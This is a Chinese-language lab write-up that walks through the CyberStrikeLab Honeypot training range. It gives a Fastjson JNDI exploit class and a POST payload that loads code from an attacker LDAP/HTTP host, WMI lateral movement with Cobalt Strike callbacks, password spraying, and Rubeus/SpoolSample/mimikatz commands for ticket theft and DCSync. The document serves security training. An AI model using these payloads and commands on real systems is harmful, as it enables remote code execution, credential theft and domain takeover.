cyberstrikelab-Honeypot靶场
字数 4111
更新时间 2026-03-24 14:37:13

CyberStrikeLab Honeypot靶场渗透测试全流程教学文档

靶场环境概述

本靶场(CyberStrikeLab Honeypot)是一个综合性的渗透测试练习环境,包含多个独立的攻击场景(web1、cyber1、cyberweb、DC),涵盖了从Web漏洞到内网横向移动的完整攻击链条。本文将基于已公开的渗透测试过程,详尽解析每个阶段的攻击手法、技术原理与操作步骤。

第一阶段:web1靶机渗透(Fastjson反序列化漏洞利用)

1. 目标信息收集

  • 目标服务: 运行在8080端口的Tomcat
  • Tomcat版本: 9.0.99
  • 攻击路径: 通过/fastjson/端点

2. 漏洞利用原理

攻击利用了Fastjson库的反序列化漏洞。Fastjson在解析JSON数据时,如果遇到@type标识,会尝试将数据反序列化为指定的Java类。通过构造特定的JSON,可以触发JdbcRowSetImpl类的利用链,该链会通过JNDI注入,从远程LDAP服务器加载并执行恶意Java类。

3. 详细攻击步骤

步骤一:准备恶意Java类 (Exploit.java)

攻击者编写了一个用于执行系统命令的Java类。此示例中,命令为弹出Windows计算器(calc.exe),在实际攻击中可替换为任意命令或反弹shell命令。

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit {
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec("calc.exe"); // 执行系统命令
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
    public static void main(String[] args) throws Exception {
    }
}

步骤二:编译与托管恶意类

  1. 编译:使用javac命令将Java源代码编译为字节码文件(.class)。
    javac Exploit.java
    
    生成 Exploit.class 文件。
  2. 启动HTTP服务:在一个攻击者可控的服务器上(IP: 192.168.200.6),启动一个简单的HTTP服务,用于托管Exploit.class文件,使其可通过网络访问。
    python3 -m http.server 8080
    

步骤三:构造并发送恶意HTTP请求

使用Burp Suite等工具抓包,并向目标/fastjson/端点发送以下精心构造的POST请求:

POST /fastjson/ HTTP/1.1
Host: honeypot.cslab:8080
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X)
Content-Length: 256

{
  "name": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "x": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://192.168.200.6:8088/fastjson/Exploit", // 指向恶意LDAP服务的地址
    "autoCommit": true
  }
}

关键Payload分析:

  • "@type": "com.sun.rowset.JdbcRowSetImpl":指定反序列化的目标类为JdbcRowSetImpl
  • "dataSourceName": "ldap://192.168.200.6:8088/fastjson/Exploit":这是利用链触发的核心。JdbcRowSetImpl在反序列化时会尝试连接指定的dataSourceName。这里指向一个攻击者搭建的恶意LDAP服务(运行在8088端口)。
  • LDAP服务会响应一个Reference,指引目标服务器到http://192.168.200.6:8080/Exploit.class去加载并实例化恶意的Exploit类,从而在目标服务器上执行Runtime.getRuntime().exec("calc.exe")

步骤四:获取Flag

成功利用漏洞执行命令后(例如,上线Cobalt Strike Beacon),在目标服务器上寻找并读取Flag文件。


第二阶段:cyber1靶机渗透(密码抓取与横向移动)

1. 初始访问与信息收集

  • 获取凭证:通过某种方式(可能是内存抓取或配置文件泄露)获取到密码哈希或明文密码 qwer@123
  • 端口扫描:对内网进行扫描,发现存活主机 172.90.33.59,仅开放 135 (WMI)139 (NetBIOS) 端口。

2. 横向移动尝试

  • Pass-The-Hash (PTH) 失败:尝试使用获取的密码哈希进行传递哈希攻击,但未能成功。
  • 转向WMI利用:由于目标只开放135端口,攻击者选择使用WMI (Windows Management Instrumentation) 进行横向移动。WMIHACKER是一个基于VBScript的WMI利用工具。

3. 使用WMIHACKER.vbs进行命令执行

  1. 工具使用:调用WMIHACKER.vbs脚本,通过135端口,使用已获得的凭据(qwer@123)连接到目标主机 172.90.33.59
  2. 执行命令:通过WMI接口在目标主机上执行命令。例如,执行上线Cobalt Strike的Stager或直接执行命令。
  3. 上线C2:成功执行命令后,在目标主机上运行tcp.exe(一个Cobalt Strike的TCP Beacon),使其回连到攻击者的C2服务器,建立持久化连接。

4. 获取Flag

在成功控制 172.90.33.59 主机后,在其文件系统中搜索并读取Flag。


第三阶段:cyberweb靶机渗透(域内信息枚举与密码喷洒)

1. 网络环境探测

  • 发现存活主机
    • 10.0.0.30:开放88 (Kerberos) 和 389 (LDAP) 端口,判断为域控制器 (Domain Controller, DC)
    • 10.0.0.50:为一台域内成员服务器或工作站。
  • 策略制定:由于直接攻击DC难度较大,选择先攻击较薄弱的成员服务器 10.0.0.50 作为入口点。

2. 域内用户枚举

  • 技术手段:利用LDAP服务的匿名查询或低权限查询功能,对域控制器 (10.0.0.30) 进行LDAP枚举
  • 获取结果:成功枚举到一个域用户账户,用户名为 cyberweb

3. 密码喷洒攻击 (Password Spraying)

  • 攻击原理:为了避免账户被锁定,尝试使用一个或几个常用密码,对大量用户名进行登录尝试。
  • 实施过程
    1. 使用工具(如 Kerbrute、CrackMapExec 的 --spray 功能)针对枚举到的用户 cyberweb 进行SMB密码喷洒。
    2. 尝试密码 admin@123456
  • 攻击结果:成功使用 cyberweb:admin@123456 这个凭据组合通过了身份验证。

4. 权限提升与访问

  • 远程桌面连接 (RDP):使用获取到的有效域凭据 cyberweb/admin@123456,通过远程桌面协议直接登录到目标主机 10.0.0.50
  • 获取Flag:登录系统后,获取该主机的Flag。

第四阶段:域控制器 (DC) 渗透(非约束委派与票据攻击)

1. 信息收集与定位攻击点

  • 使用工具:在已控制的域内主机上,使用 ADFind 等工具查询Active Directory。
  • 查询目标:查找配置了非约束委派 (Unconstrained Delegation) 的计算机账户或用户账户。非约束委派意味着该账户可以代表任何用户向任何服务请求票证,是特权提升的关键路径。

2. 利用非约束委派漏洞

攻击流程涉及 打印机漏洞 (SpoolSample)Rubeus 工具的组合利用,这是一种经典的“中继”攻击,强制域控制器向配置了非约束委派的主机进行身份验证。

步骤一:在非约束委派主机上监听

  1. 假设通过ADFind发现某台主机(或用户)配置了非约束委派,且攻击者已在该主机上获得本地管理员权限。
  2. 在该主机上,使用 Rubeus 工具启动监听,等待捕获来自域控制器的TGT票据。
    Rubeus.exe monitor /interval:1
    

步骤二:触发域控制器向委派主机认证

  1. 在已控制的其他域账户上下文中,利用 SpoolSample 工具(或利用MS-RPRN协议缺陷)。
  2. 该工具会欺骗域控制器,让其误认为需要向攻击者控制的非约束委派主机进行身份验证(通常通过RpcRemoteFindFirstPrinterChangeNotification调用触发)。
    SpoolSample.exe <DC_IP> <Unconstrained_Delegation_Host_IP>
    
  3. 执行后可能会报错,但这是正常现象,因为触发的目的是让DC发起连接。

步骤三:捕获并导入TGT票据

  1. 在运行Rubeus monitor的非约束委派主机上,会捕获到来自域控制器的计算机账户(DC$)的TGT(Ticket Granting Ticket)票据。该票据以Base64格式显示。
  2. 将捕获到的TGT票据复制出来。
  3. 在攻击者当前用于操作的工作站上(或任何需要模拟域控制器上下文的地方),使用mimikatzRubeusptt功能将票据导入当前会话。
    Rubeus.exe ptt /ticket:<BASE64_TICKET>
    # 或使用 mimikatz
    kerberos::ptt <TICKET_FILE.kirbi>
    

步骤四:获取域控制器密钥

成功导入域控制器的TGT票据后,攻击者便拥有了域控制器的身份。此时可以:

  1. 使用mimikatzlsadump::dcsync功能,或直接访问域控制器,转储域内所有用户的哈希(包括krbtgt账户)。
    lsadump::dcsync /domain:cyberweb.local /all
    
  2. 成功获取到域控制器的NTLM哈希或其他关键凭证。

3. 获取Flag

在完全控制域控制器后,在其文件系统中寻找最终的Flag。

总结与关键知识点

  1. Fastjson反序列化:理解JNDI注入利用链,掌握编译恶意类、搭建HTTP/LDAP服务、构造触发Payload的完整流程。
  2. 内网信息收集:熟练掌握端口扫描、存活主机发现、服务识别等基础技能。
  3. 横向移动技术
    • WMI利用:在仅有135端口开放情况下的有效远程命令执行方法。
    • 凭证攻击:区分密码喷洒(一对多,防锁定)和爆破(多对一,易锁定)的应用场景。
    • 非约束委派攻击:这是本次渗透中权限提升至域管的核心。必须理解其原理(服务账户可代表用户)、如何发现(ADFind查询userAccountControl包含TRUSTED_FOR_DELEGATION),以及如何利用(SpoolSample触发 + Rubeus捕获票据)。
  4. 工具链运用:熟练使用Java编译器、Python HTTP服务器、Burp Suite、Cobalt Strike、WMIHACKER、ADFind、Rubeus、SpoolSample、mimikatz等安全工具。
  5. 攻击链思维:整个渗透过程呈现了清晰的攻击路径:外部Web漏洞突破 -> 内网信息收集 -> 凭证获取与横向移动 -> 域内权限提升直至控制域控制器。每个环节都为下一个环节提供了必要的立足点。
相似文章
相似文章
 全屏